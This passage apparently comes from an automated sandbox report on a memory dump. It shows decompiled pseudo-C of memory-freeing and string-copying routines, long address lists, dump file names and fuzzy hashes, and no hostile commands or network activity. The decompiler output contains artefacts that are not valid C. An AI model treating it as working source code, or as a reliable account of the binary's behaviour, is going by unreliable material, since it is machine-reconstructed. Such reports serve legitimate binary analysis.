								if(_t371 > 0) {
									_t675 = _t371 >> 1;
									if(_t675 == 0) {
										_t676 = 1;
									} else {
										_v40 = _t505;
										_t509 = _t371;
										_t694 = 0;
										do {
											_t532 =  *((intOrPtr*)(_t604 + _t694 * 8));
											if( *((intOrPtr*)(_t604 + _t694 * 8)) != 0) {
												_push(1);
												E6ED487B0(_t532);
												_t604 = _v52;
											}
											_t533 =  *((intOrPtr*)(_t604 + 4 + _t694 * 8));
											if( *((intOrPtr*)(_t604 + 4 + _t694 * 8)) != 0) {
												_push(1);
												E6ED487B0(_t533);
												_t604 = _v52;
											}
											_t694 = _t694 + 1;
										} while (_t694 < _t675);
										_t534 = _t694;
										_t371 = _t509;
										_t505 = _v40;
										_t333 = _t534 + 1; // 0x2
										_t676 = _t694 + _t333;
									}
									_t334 = _t676 - 1; // 0x1
									if(_t334 < _t371) {
										_t530 =  *((intOrPtr*)(_t604 + _t676 * 4 - 4));
										if( *((intOrPtr*)(_t604 + _t676 * 4 - 4)) != 0) {
											_push(1);
											E6ED487B0(_t530);
											_t604 = _v52;
										}
									}
								}
							} else {
								_v52 = _t604;
								 *_t505 = 0;
								 *(_t505 + 8) = 0;
								if(_t556 <= 0) {
									L196:
									_t605 =  *(_t505 + 4);
								} else {
									_t605 =  *(_t505 + 4);
									_t424 = _t556 >> 1;
									if(_t424 == 0) {
										_t425 = 1;
									} else {
										_v60 = _t556;
										_t685 = 0;
										_t702 = _t424;
										do {
											_t558 =  *((intOrPtr*)(_t605 + _t685 * 8));
											if( *((intOrPtr*)(_t605 + _t685 * 8)) != 0) {
												_push(1);
												E6ED487B0(_t558);
												_t605 =  *(_t505 + 4);
											}
											_t559 =  *((intOrPtr*)(_t605 + 4 + _t685 * 8));
											if( *((intOrPtr*)(_t605 + 4 + _t685 * 8)) != 0) {
												_push(1);
												E6ED487B0(_t559);
												_t605 =  *(_t505 + 4);
											}
											_t685 = _t685 + 1;
										} while (_t685 < _t702);
										_t556 = _v60;
										_t217 = _t685 + 1; // 0x2
										_t425 = _t685 + _t217;
									}
									_t218 = _t425 - 1; // 0x1
									if(_t218 < _t556) {
										_t557 =  *((intOrPtr*)(_t605 + _t425 * 4 - 4));
										if( *((intOrPtr*)(_t605 + _t425 * 4 - 4)) != 0) {
											_push(1);
											E6ED487B0(_t557);
											goto L196;
										}
									}
								}
								_push(4);
								_push(_t605);
								E6ED410B0();
								_t723 = _t723 + 8;
								_t527 = _v52;
								 *(_t505 + 4) = 0;
								if(_t527 != 0) {
									_t672 = (_t527 - 0x00000001 >> 0x00000001 >> 0x0000001e) + _t527 - 0x00000001 & 0xfffffffc;
									_push(0x10 + _t672 * 4);
									 *(_t505 + 8) = _t672 + 4;
									_t368 = E6ED41030();
									_t723 = _t723 + 4;
									_t610 = _v52;
									 *(_t505 + 4) = _t368;
									 *_t505 = _t610;
									if(_t610 <= 0) {
										goto L198;
									} else {
										_v40 = _t505;
										_t673 = 0;
										asm("pxor xmm0, xmm0");
										do {
											_push(8);
											_t673 = _t673 + 1;
											_t693 = E6ED41030();
											_t723 = _t723 + 4;
											if(_t693 == 0) {
												_t693 = 0;
												_t508 = _t673 * 4;
											} else {
												_t376 = _t673 - 1;
												if(_t376 < 0 || _t376 >= _v52) {
													_t377 = 0;
													_t508 = _t673 * 4;
												} else {
													_t508 = _t673 * 4;
													_t377 =  *(_v48 + _t508 - 4);
												}
												 *_t693 = 0;
												 *(_t693 + 4) = 0;
												_t614 =  *_t377;
												if(_t614 == 0 ||  *_t614 == 0) {
													_push(0x40);
													_t378 = E6ED41030();
													_v84 = _t378;
													_t723 = _t723 + 4;
													_t615 =  *_t693;
													if(_t615 == 0) {
														 *_t378 = 0;
													} else {
														if(_v84 != 0) {
															_t535 = _t378;
															_t381 =  *_t615;
															 *_t535 = _t381;
															if(_t381 != 0) {
																_v56 = _t693;
																_t382 = 0;
																_v64 = _t673;
																_t695 = _t535;
																while(1) {
																	_t382 = _t382 + 1;
																	_t548 =  *((char*)(_t615 + _t382 * 2 - 1));
																	 *((char*)(_t695 + _t382 * 2 - 1)) = _t548;
																	if(_t548 == 0) {
																		break;
																	}
																	_t549 =  *((char*)(_t615 + _t382 * 2));
																	 *((char*)(_t695 + _t382 * 2)) = _t549;
																	if(_t549 != 0) {
																		continue;
																	}
																	break;
																}
																_t693 = _v56;
																_t673 = _v64;
															}
														}
														_push(1);
														_push(_t615);
														E6ED410B0();
														_t723 = _t723 + 8;
													}
													 *_t693 = _v84;
													 *(_t693 + 4) = 0x40;
												} else {
													_t537 = _t614 & 0x0000000f;
													if(_t537 == 0) {
														L212:
														asm("pxor xmm1, xmm1");
														_t388 =  ~( ~_t537 + 0x0000000f & 0x0000000f) + 0x7fffffff;
														_v60 = _t388;
														_v64 = _t673;
														_t677 = _t388;
														while(1) {
															asm("movdqu xmm0, [edx+ecx]");
															asm("pcmpeqb xmm0, xmm1");
															asm("pmovmskb eax, xmm0");
															if(_t388 != 0) {
																break;
															}
															_t537 = _t537 + 0x10;
															if(_t537 < _t677) {
																continue;
															} else {
																_v60 = _t677;
																_t673 = _v64;
																if(_v60 >= 0x7fffffff) {
																	L219:
																	_v60 = 0x7fffffff;
																} else {
																	_t407 = _v60;
																	while( *((char*)(_t407 + _t614)) != 0) {
																		_t407 = _t407 + 1;
																		if(_t407 < 0x7fffffff) {
																			continue;
																		} else {
																			goto L219;
																		}
																		goto L220;
																	}
																	goto L279;
																}
															}
															goto L220;
														}
														asm("bsf eax, eax");
														_t673 = _v64;
														_v60 = _t388 + _t537;
													} else {
														_v60 = 0;
														_t407 = _v60;
														_t537 =  ~_t537 + 0x10;
														while( *((char*)(_t407 + _t614)) != 0) {
															_t407 = _t407 + 1;
															if(_t407 < _t537) {
																continue;
															} else {
																goto L212;
															}
															goto L220;
														}
														L279:
														_v60 = _t407;
													}
													L220:
													_t392 =  <=  ? 0x40 : _v60 + 1;
													if(_t392 > 0) {
														_t543 = (_t392 >> 5 >> 0x1a) + _t392 >> 6;
														_v72 = _t543;
														_t393 = _t392 & 0x8000003f;
														if(_t393 < 0) {
															_t393 = (_t393 - 0x00000001 | 0xffffffc0) + 1;
														}
														_t545 = _t543 + (0 | _t393 > 0x00000000) << 6;
														_v72 = _t545;
														_push(_t545);
														_v76 = _t614;
														_t396 = E6ED41030();
														_t614 = _v76;
														_t546 = _t396;
														_t723 = _t723 + 4;
														_t397 =  *_t693;
														_v68 = _t397;
														if(_t397 == 0) {
															 *_t546 = 0;
														} else {
															if(_t546 != 0) {
																_t403 =  *_t397;
																 *_t546 = _t403;
																if(_t403 != 0) {
																	_v56 = _t693;
																	_t404 = 0;
																	_v76 = _t614;
																	_v64 = _t673;
																	_t697 = _v68;
																	while(1) {
																		_t404 = _t404 + 1;
																		_t616 =  *((char*)(_t697 + _t404 * 2 - 1));
																		 *((char*)(_t546 + _t404 * 2 - 1)) = _t616;
																		if(_t616 == 0) {
																			break;
																		}
																		_t617 =  *((char*)(_t697 + _t404 * 2));
																		 *((char*)(_t546 + _t404 * 2)) = _t617;
																		if(_t617 != 0) {
																			continue;
																		}
																		break;
																	}
																	_t693 = _v56;
																	_t614 = _v76;
																	_t673 = _v64;
																}
															}
															_push(1);
															_push(_v68);
															_v80 = _t546;
															_v76 = _t614;
															E6ED410B0();
															_t614 = _v76;
															_t546 = _v80;
															_t723 = _t723 + 8;
														}
														 *(_t693 + 4) = _v72;
														 *_t693 = _t546;
													} else {
														_t546 = 0;
													}
													if(_t546 != 0) {
														_v64 = _t673;
														_v56 = _t693;
														_t696 = 0;
														_t678 = _v60;
														while(1) {
															_t696 = _t696 + 1;
															_t400 =  *((char*)(_t696 + _t614 - 1));
															 *((char*)(_t696 + _t546 - 1)) = _t400;
															if(_t678 != 0 && _t696 == _t678) {
																break;
															}
															if(_t400 != 0) {
																continue;
															} else {
																_t693 = _v56;
																_t673 = _v64;
															}
															goto L251;
														}
														_t693 = _v56;
														_t673 = _v64;
														 *((char*)(_t696 + _t546)) = 0;
													}
												}
											}
											L251:
											_t612 = _v40;
											 *( *((intOrPtr*)(_t612 + 4)) + _t508 - 4) = _t693;
										} while (_t673 <  *_t612);
										_t505 = _t612;
										_t371 = _v52;
										goto L253;
									}
								} else {
									L198:
									_v52 = 0;
									_v44 = 0;
									_t604 = _v48;
								}
							}
						}
					}
					_push(4);
					_push(_t604);
					E6ED410B0();
					_v48 = 0;
					return _t505;
				}
				L301:
			}

0x6ed53ec9
0x6ed53ecc
0x6ed53ece
0x6ed53ed1
0x6ed54b36
0x6ed53ed7
0x6ed53ed7
0x6ed54c80
0x6ed54c8c
0x6ed54c90
0x00000000
0x6ed54c92
0x00000000
0x6ed54c92
0x6ed53edd
0x6ed53edf
0x6ed53ee3
0x6ed53ee7
0x6ed53eeb
0x6ed53ef3
0x6ed53ef7
0x6ed53efd
0x6ed53f03
0x6ed53f0b
0x6ed53f0f
0x6ed53f13
0x6ed53f17
0x6ed54c77
0x6ed54c79
0x6ed53f1d
0x6ed53f1f
0x6ed53f22
0x6ed53f3a
0x6ed53f3e
0x6ed53f4a
0x6ed53f4f
0x6ed53f4f
0x6ed53f54
0x6ed53f58
0x6ed53f5e
0x00000000
0x00000000
0x6ed53f64
0x6ed53f69
0x00000000
0x6ed53f6b
0x6ed53f70
0x6ed53f84
0x6ed53f84
0x00000000
0x6ed53f72
0x6ed53f72
0x6ed53f7c
0x6ed53f82
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed53f82
0x00000000
0x6ed53f72
0x6ed53f70
0x00000000
0x6ed53f69
0x6ed54c70
0x6ed54c73
0x00000000
0x6ed53f24
0x6ed53f26
0x6ed53f28
0x6ed53f2b
0x6ed53f35
0x6ed53f38
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed53f38
0x6ed54c61
0x6ed54c63
0x6ed53f89
0x6ed53f89
0x6ed53f8e
0x6ed53f90
0x6ed53f99
0x6ed53f99
0x6ed53f9e
0x00000000
0x00000000
0x6ed53fa9
0x00000000
0x00000000
0x00000000
0x6ed53fa9
0x6ed54c53
0x6ed54c56
0x00000000
0x6ed54c5c
0x00000000
0x6ed54c5c
0x00000000
0x6ed54c56
0x6ed54c69
0x6ed54c69
0x6ed54c69
0x6ed54c63
0x6ed53f22
0x6ed53fab
0x6ed53fad
0x6ed53fae
0x6ed53fb2
0x6ed53fb8
0x6ed53fc0
0x6ed53fc1
0x6ed53fc5
0x6ed53fca
0x6ed53fce
0x6ed53fd2
0x6ed53fd6
0x6ed53fe0
0x6ed53fe3
0x6ed53fe3
0x6ed53fe8
0x00000000
0x00000000
0x6ed53ff3
0x00000000
0x00000000
0x00000000
0x6ed53ff3
0x6ed54c36
0x6ed54c37
0x6ed54c38
0x6ed54c3d
0x00000000
0x6ed54c43
0x00000000
0x6ed54c43
0x00000000
0x6ed54c3d
0x6ed53ff5
0x6ed53ff5
0x6ed53ff9
0x6ed53ff9
0x6ed53fff
0x6ed5417f
0x6ed5417f
0x6ed54186
0x6ed54188
0x6ed5418b
0x6ed54005
0x6ed54007
0x6ed54c2f
0x6ed5400d
0x6ed5400f
0x6ed54012
0x6ed54026
0x6ed5402a
0x6ed54036
0x6ed5403b
0x6ed5403b
0x6ed54040
0x6ed54044
0x6ed5404a
0x00000000
0x00000000
0x6ed54050
0x6ed54055
0x00000000
0x6ed54057
0x6ed5405c
0x6ed5406c
0x6ed5406c
0x00000000
0x6ed5405e
0x6ed54064
0x6ed5406a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5406a
0x6ed5405e
0x6ed5405c
0x00000000
0x6ed54055
0x6ed54c25
0x6ed54c28
0x6ed54014
0x6ed54016
0x6ed54018
0x6ed5401b
0x6ed54021
0x6ed54024
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54024
0x6ed5401b
0x6ed54012
0x6ed54071
0x6ed54075
0x6ed5407a
0x6ed5407d
0x6ed54081
0x6ed54087
0x6ed54087
0x6ed5408d
0x00000000
0x6ed5409d
0x6ed5409f
0x6ed540a1
0x6ed540a6
0x6ed540a9
0x6ed540bd
0x6ed540c1
0x6ed540cd
0x6ed540d3
0x6ed540d3
0x6ed540d8
0x6ed540dc
0x6ed540e2
0x00000000
0x00000000
0x6ed540e8
0x6ed540ed
0x00000000
0x6ed540ef
0x6ed540f5
0x6ed54106
0x6ed54106
0x00000000
0x6ed540f7
0x6ed540fd
0x6ed54104
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54104
0x6ed540f7
0x6ed540f5
0x00000000
0x6ed540ed
0x6ed54b40
0x6ed54b43
0x6ed540ab
0x6ed540ad
0x6ed540af
0x6ed540b2
0x6ed540b8
0x6ed540bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed540bb
0x6ed540b2
0x6ed540a9
0x6ed5410b
0x6ed54110
0x6ed54116
0x6ed5411b
0x6ed5412b
0x6ed5412e
0x6ed54134
0x6ed5413c
0x6ed5413c
0x6ed54149
0x6ed5414a
0x6ed54157
0x6ed54159
0x6ed5415c
0x6ed5415e
0x6ed54160
0x6ed54163
0x6ed54163
0x6ed54164
0x6ed54169
0x6ed5416f
0x00000000
0x00000000
0x6ed5417b
0x00000000
0x00000000
0x6ed5417d
0x00000000
0x6ed5417b
0x6ed54b37
0x6ed5411d
0x6ed5411d
0x6ed5411d
0x6ed5411b
0x6ed5408d
0x6ed5418e
0x6ed54192
0x6ed54199
0x6ed5419d
0x6ed541a1
0x6ed541a9
0x6ed54311
0x6ed54313
0x6ed54313
0x6ed5431a
0x6ed5431c
0x6ed54323
0x6ed54327
0x6ed5432a
0x6ed5432e
0x6ed5437a
0x6ed54330
0x6ed54335
0x6ed54337
0x6ed5433b
0x6ed5433e
0x6ed54342
0x6ed54344
0x6ed54347
0x6ed54349
0x6ed5434b
0x6ed5434b
0x6ed5434c
0x6ed54351
0x6ed54357
0x00000000
0x00000000
0x6ed54359
0x6ed5435d
0x6ed54362
0x00000000
0x00000000
0x00000000
0x6ed54362
0x6ed54364
0x6ed54364
0x6ed54367
0x6ed54367
0x6ed54369
0x6ed5436b
0x6ed5436c
0x6ed54371
0x6ed54371
0x6ed54381
0x6ed54383
0x6ed54383
0x6ed541b8
0x6ed541ba
0x6ed541bd
0x6ed541d5
0x6ed541d9
0x6ed541e5
0x6ed541eb
0x6ed541eb
0x6ed541f0
0x6ed541f4
0x6ed541fa
0x00000000
0x00000000
0x6ed54200
0x6ed54205
0x00000000
0x6ed54207
0x6ed5420d
0x6ed54222
0x6ed54222
0x6ed5420f
0x6ed5420f
0x6ed54219
0x6ed54220
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54220
0x00000000
0x6ed5420f
0x6ed5420d
0x00000000
0x6ed54205
0x6ed54b6c
0x6ed54b6f
0x00000000
0x6ed541bf
0x6ed541c1
0x6ed541c3
0x6ed541c6
0x6ed541d0
0x6ed541d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed541d3
0x6ed54b53
0x6ed54b56
0x6ed54b64
0x6ed54b64
0x6ed54b56
0x6ed54227
0x6ed5422c
0x6ed54232
0x6ed54238
0x6ed5424e
0x6ed54252
0x6ed54258
0x6ed54260
0x6ed54260
0x6ed5426e
0x6ed54271
0x6ed54275
0x6ed5427b
0x6ed5427d
0x6ed54280
0x6ed54284
0x6ed542d5
0x6ed54286
0x6ed54288
0x6ed5428a
0x6ed5428d
0x6ed54291
0x6ed54295
0x6ed54299
0x6ed5429c
0x6ed5429e
0x6ed5429e
0x6ed5429f
0x6ed542a4
0x6ed542aa
0x00000000
0x00000000
0x6ed542ac
0x6ed542b0
0x6ed542b5
0x00000000
0x00000000
0x00000000
0x6ed542b5
0x6ed542b7
0x6ed542bb
0x6ed542bb
0x6ed542be
0x6ed542be
0x6ed542c0
0x6ed542c2
0x6ed542c3
0x6ed542c7
0x6ed542cc
0x6ed542d0
0x6ed542d0
0x6ed542dc
0x6ed542df
0x6ed5423a
0x6ed5423a
0x6ed5423a
0x6ed542e3
0x6ed542f1
0x6ed542f3
0x6ed542f3
0x6ed542f4
0x6ed542f9
0x6ed542ff
0x00000000
0x00000000
0x6ed5430b
0x00000000
0x00000000
0x6ed5430d
0x00000000
0x6ed5430b
0x6ed54b4a
0x6ed54b4a
0x6ed542e3
0x6ed541a9
0x6ed5438a
0x6ed5438a
0x6ed5438c
0x6ed5438d
0x6ed54392
0x6ed54395
0x6ed54399
0x6ed5439b
0x6ed543a5
0x6ed543a7
0x6ed543a9
0x6ed543b1
0x6ed543b7
0x6ed54c04
0x6ed54c18
0x6ed54c18
0x6ed54c1c
0x6ed54c06
0x6ed54c06
0x6ed54c06
0x6ed54c0a
0x6ed54c0e
0x6ed54c10
0x00000000
0x6ed54c10
0x6ed543bd
0x6ed543bd
0x6ed543bf
0x6ed543c7
0x6ed543c9
0x6ed543cd
0x6ed543d1
0x6ed543d5
0x6ed543dd
0x6ed543e1
0x6ed543e9
0x6ed543ec
0x6ed54404
0x6ed54408
0x6ed54414
0x6ed54418
0x6ed5441e
0x6ed5441e
0x6ed54423
0x6ed54427
0x6ed5442d
0x00000000
0x00000000
0x6ed54433
0x6ed54438
0x00000000
0x6ed5443a
0x6ed5443a
0x6ed54444
0x00000000
0x6ed54446
0x6ed54446
0x6ed54450
0x6ed54457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54457
0x00000000
0x6ed54446
0x6ed54444
0x00000000
0x6ed54438
0x6ed54be6
0x6ed54be8
0x6ed54beb
0x6ed54bef
0x00000000
0x6ed543ee
0x6ed543f0
0x6ed543f2
0x6ed543f5
0x6ed543ff
0x6ed54402
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54402
0x6ed54bf1
0x6ed54bf3
0x6ed54459
0x6ed54459
0x6ed54461
0x6ed54466
0x6ed54469
0x6ed5446d
0x6ed54473
0x6ed54478
0x6ed54483
0x6ed54489
0x6ed54498
0x6ed5449d
0x6ed5449f
0x6ed544a3
0x6ed544a8
0x6ed544ab
0x6ed544af
0x6ed544af
0x6ed544b3
0x6ed544b7
0x6ed544cd
0x6ed544d2
0x6ed544d2
0x6ed544d5
0x6ed544dc
0x6ed544de
0x6ed544e3
0x6ed546f5
0x6ed544e9
0x6ed544eb
0x6ed544ed
0x6ed544f2
0x6ed54685
0x6ed5468c
0x6ed54690
0x6ed54693
0x6ed54697
0x6ed546e3
0x6ed54699
0x6ed5469e
0x6ed546a0
0x6ed546a4
0x6ed546a7
0x6ed546ab
0x6ed546ad
0x6ed546b1
0x6ed546b3
0x6ed546b5
0x6ed546b5
0x6ed546b6
0x6ed546bb
0x6ed546c1
0x00000000
0x00000000
0x6ed546c3
0x6ed546c7
0x6ed546cc
0x00000000
0x00000000
0x00000000
0x6ed546cc
0x6ed546ce
0x6ed546ce
0x6ed546ab
0x6ed546d2
0x6ed546d4
0x6ed546d5
0x6ed546da
0x6ed546da
0x6ed546ea
0x6ed546ec
0x6ed54501
0x6ed54503
0x6ed54506
0x6ed54528
0x6ed5452c
0x6ed54538
0x6ed5453e
0x6ed54542
0x6ed54544
0x6ed54544
0x6ed54549
0x6ed5454d
0x6ed54553
0x00000000
0x00000000
0x6ed54559
0x6ed5455e
0x00000000
0x6ed54560
0x6ed54560
0x6ed5456c
0x6ed54582
0x6ed54582
0x6ed5456e
0x6ed5456e
0x6ed54570
0x6ed5457a
0x6ed54580
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54580
0x6ed54b84
0x6ed54b84
0x6ed5456c
0x00000000
0x6ed5455e
0x6ed54b8d
0x6ed54b92
0x6ed54508
0x6ed54508
0x6ed54512
0x6ed54516
0x6ed54519
0x6ed54523
0x6ed54526
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54526
0x6ed54b9b
0x6ed54b9b
0x6ed5458a
0x6ed54593
0x6ed54599
0x6ed5459e
0x6ed545b7
0x6ed545ba
0x6ed545be
0x6ed545c4
0x6ed545cc
0x6ed545cc
0x6ed545d8
0x6ed545db
0x6ed545df
0x6ed545e0
0x6ed545e5
0x6ed545e9
0x6ed545ec
0x6ed545f0
0x6ed5463c
0x6ed545f2
0x6ed545f7
0x6ed545f9
0x6ed545fb
0x6ed545fe
0x6ed54602
0x6ed54604
0x6ed54607
0x6ed54609
0x6ed5460d
0x6ed5460f
0x6ed5460f
0x6ed54610
0x6ed54615
0x6ed5461b
0x00000000
0x00000000
0x6ed5461d
0x6ed54621
0x6ed54626
0x00000000
0x00000000
0x00000000
0x6ed54626
0x6ed54628
0x6ed5462b
0x6ed5462b
0x6ed54602
0x6ed5462f
0x6ed54631
0x6ed54632
0x6ed54637
0x6ed54637
0x6ed54647
0x6ed5464a
0x6ed545a0
0x6ed545a0
0x6ed545a0
0x6ed54651
0x6ed54657
0x6ed5465b
0x6ed5465d
0x6ed54661
0x6ed54665
0x6ed54665
0x6ed54666
0x6ed5466b
0x6ed54671
0x00000000
0x00000000
0x6ed5467d
0x00000000
0x6ed5467f
0x6ed5467f
0x6ed5467f
0x00000000
0x6ed5467d
0x6ed54b77
0x6ed54b7b
0x6ed54b7b
0x6ed54651
0x6ed544f2
0x6ed546f7
0x6ed54703
0x6ed5470c
0x6ed5470d
0x6ed54711
0x00000000
0x6ed54bf9
0x6ed54bf3
0x6ed543ec
0x6ed54713
0x6ed54713
0x6ed5471d
0x6ed54721
0x6ed54725
0x6ed5472a
0x6ed54a96
0x6ed54a98
0x6ed54a9c
0x6ed54aa0
0x6ed54aa6
0x6ed54aaa
0x6ed54aac
0x6ed54bd2
0x6ed54ab2
0x6ed54ab4
0x6ed54ab8
0x6ed54aba
0x6ed54abc
0x6ed54abc
0x6ed54ac1
0x6ed54ac3
0x6ed54ac5
0x6ed54aca
0x6ed54aca
0x6ed54ace
0x6ed54ad4
0x6ed54ad6
0x6ed54ad8
0x6ed54add
0x6ed54add
0x6ed54ae1
0x6ed54ae2
0x6ed54ae6
0x6ed54ae8
0x6ed54aea
0x6ed54aee
0x6ed54aee
0x6ed54aee
0x6ed54af2
0x6ed54af7
0x6ed54af9
0x6ed54aff
0x6ed54b01
0x6ed54b03
0x6ed54b08
0x6ed54b08
0x6ed54aff
0x6ed54af7
0x6ed54730
0x6ed54730
0x6ed54736
0x6ed54738
0x6ed5473d
0x6ed5479a
0x6ed5479a
0x6ed5473f
0x6ed54741
0x6ed54744
0x6ed54746
0x6ed54bdc
0x6ed5474c
0x6ed5474c
0x6ed54750
0x6ed54752
0x6ed54754
0x6ed54754
0x6ed54759
0x6ed5475b
0x6ed5475d
0x6ed54762
0x6ed54762
0x6ed54765
0x6ed5476b
0x6ed5476d
0x6ed5476f
0x6ed54774
0x6ed54774
0x6ed54777
0x6ed54778
0x6ed5477c
0x6ed54780
0x6ed54780
0x6ed54780
0x6ed54784
0x6ed54789
0x6ed5478b
0x6ed54791
0x6ed54793
0x6ed54795
0x00000000
0x6ed54795
0x6ed54791
0x6ed54789
0x6ed5479d
0x6ed5479f
0x6ed547a0
0x6ed547a5
0x6ed547a8
0x6ed547ac
0x6ed547b5
0x6ed547d6
0x6ed547e0
0x6ed547e4
0x6ed547e7
0x6ed547ec
0x6ed547ef
0x6ed547f3
0x6ed547f6
0x6ed547fa
0x00000000
0x6ed547fc
0x6ed547fc
0x6ed54800
0x6ed54802
0x6ed54806
0x6ed54806
0x6ed54808
0x6ed5480e
0x6ed54810
0x6ed54815
0x6ed54a74
0x6ed54a76
0x6ed5481b
0x6ed5481d
0x6ed5481e
0x6ed54826
0x6ed54828
0x6ed54831
0x6ed54835
0x6ed5483c
0x6ed5483c
0x6ed54842
0x6ed54844
0x6ed54847
0x6ed5484b
0x6ed54a04
0x6ed54a06
0x6ed54a0b
0x6ed54a0f
0x6ed54a12
0x6ed54a16
0x6ed54a63
0x6ed54a18
0x6ed54a1c
0x6ed54a1e
0x6ed54a20
0x6ed54a23
0x6ed54a27
0x6ed54a29
0x6ed54a2d
0x6ed54a2f
0x6ed54a33
0x6ed54a35
0x6ed54a35
0x6ed54a36
0x6ed54a3b
0x6ed54a41
0x00000000
0x00000000
0x6ed54a43
0x6ed54a47
0x6ed54a4c
0x00000000
0x00000000
0x00000000
0x6ed54a4c
0x6ed54a4e
0x6ed54a52
0x6ed54a52
0x6ed54a27
0x6ed54a56
0x6ed54a58
0x6ed54a59
0x6ed54a5e
0x6ed54a5e
0x6ed54a69
0x6ed54a6b
0x6ed5485a
0x6ed5485c
0x6ed5485f
0x6ed54881
0x6ed54885
0x6ed54891
0x6ed54896
0x6ed5489a
0x6ed5489e
0x6ed548a0
0x6ed548a0
0x6ed548a5
0x6ed548a9
0x6ed548af
0x00000000
0x00000000
0x6ed548b5
0x6ed548ba
0x00000000
0x6ed548bc
0x6ed548bc
0x6ed548c0
0x6ed548cc
0x6ed548e4
0x6ed548e4
0x6ed548ce
0x6ed548ce
0x6ed548d2
0x6ed548dc
0x6ed548e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed548e2
0x00000000
0x6ed548d2
0x6ed548cc
0x00000000
0x6ed548ba
0x6ed54bc0
0x6ed54bc5
0x6ed54bc9
0x6ed54861
0x6ed54861
0x6ed5486b
0x6ed5486f
0x6ed54872
0x6ed5487c
0x6ed5487f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed5487f
0x6ed54bb7
0x6ed54bb7
0x6ed54bb7
0x6ed548ec
0x6ed548fb
0x6ed54900
0x6ed54913
0x6ed54916
0x6ed5491a
0x6ed5491f
0x6ed54927
0x6ed54927
0x6ed54934
0x6ed54937
0x6ed5493b
0x6ed5493c
0x6ed54940
0x6ed54945
0x6ed54949
0x6ed5494b
0x6ed5494e
0x6ed54950
0x6ed54956
0x6ed549bc
0x6ed54958
0x6ed5495a
0x6ed5495c
0x6ed5495f
0x6ed54963
0x6ed54965
0x6ed54969
0x6ed5496b
0x6ed5496f
0x6ed54973
0x6ed54977
0x6ed54977
0x6ed54978
0x6ed5497d
0x6ed54983
0x00000000
0x00000000
0x6ed54985
0x6ed54989
0x6ed5498e
0x00000000
0x00000000
0x00000000
0x6ed5498e
0x6ed54990
0x6ed54994
0x6ed54998
0x6ed54998
0x6ed54963
0x6ed5499c
0x6ed5499e
0x6ed549a2
0x6ed549a6
0x6ed549aa
0x6ed549af
0x6ed549b3
0x6ed549b7
0x6ed549b7
0x6ed549c3
0x6ed549c6
0x6ed54902
0x6ed54902
0x6ed54902
0x6ed549ca
0x6ed549d2
0x6ed549d6
0x6ed549da
0x6ed549dc
0x6ed549e0
0x6ed549e0
0x6ed549e1
0x6ed549e6
0x6ed549ec
0x00000000
0x00000000
0x6ed549f8
0x00000000
0x6ed549fa
0x6ed549fa
0x6ed549fe
0x6ed549fe
0x00000000
0x6ed549f8
0x6ed54ba6
0x6ed54baa
0x6ed54bae
0x6ed54bae
0x6ed549ca
0x6ed5484b
0x6ed54a7d
0x6ed54a7d
0x6ed54a84
0x6ed54a88
0x6ed54a90
0x6ed54a92
0x00000000
0x6ed54a92
0x6ed547b7
0x6ed547b7
0x6ed547b9
0x6ed547bd
0x6ed547c1
0x6ed547c1
0x6ed547b5
0x6ed5472a
0x6ed543b7
0x6ed54b0c
0x6ed54b0e
0x6ed54b0f
0x6ed54b17
0x6ed54b2a
0x6ed54b2a
0x00000000

Strings

, xrefs: 6ED53EF7

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3688684798
Opcode ID: aa829716486722a3b08b05419b74ff79180d577006dff011bc036bcac2999d61
Instruction ID: 0f003a702a6ccd31af78d8edee7938a2226aa02616b1234887f4e169975f9d01
Opcode Fuzzy Hash: aa829716486722a3b08b05419b74ff79180d577006dff011bc036bcac2999d61
Instruction Fuzzy Hash: 14920670608353CFDB15CFA9849071AB7E2AFC5314F148A6DE8A69B395D734C8728B93

Uniqueness

Uniqueness Score: -1.00%

Function 6ED562F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E6ED562F0(intOrPtr* __ecx, signed int __edx, void* __eflags, char _a4) {
				intOrPtr* _v24;
				char _v32;
				intOrPtr _v36;
				unsigned int _v40;
				signed int _v44;
				signed int _v52;
				char _v56;
				unsigned int _v60;
				unsigned int _v64;
				signed int _v68;
				signed int _t264;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				void* _t272;
				char _t278;
				char _t279;
				char* _t281;
				signed int _t282;
				char _t283;
				void* _t287;
				char _t290;
				char _t291;
				char* _t293;
				signed int _t294;
				char _t295;
				signed int _t304;
				intOrPtr* _t306;
				intOrPtr* _t308;
				signed int _t310;
				signed int _t311;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				char* _t320;
				char* _t321;
				unsigned int _t322;
				unsigned int _t327;
				signed int _t329;
				signed int _t330;
				signed int _t332;
				signed int _t333;
				signed int _t336;
				signed int _t338;
				signed int _t339;
				signed int _t342;
				char* _t343;
				char* _t344;
				signed int _t346;
				signed int _t348;
				signed int _t349;
				signed int _t352;
				char* _t353;
				char* _t357;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t365;
				unsigned int _t375;
				signed int _t377;
				signed int _t381;
				signed int _t387;
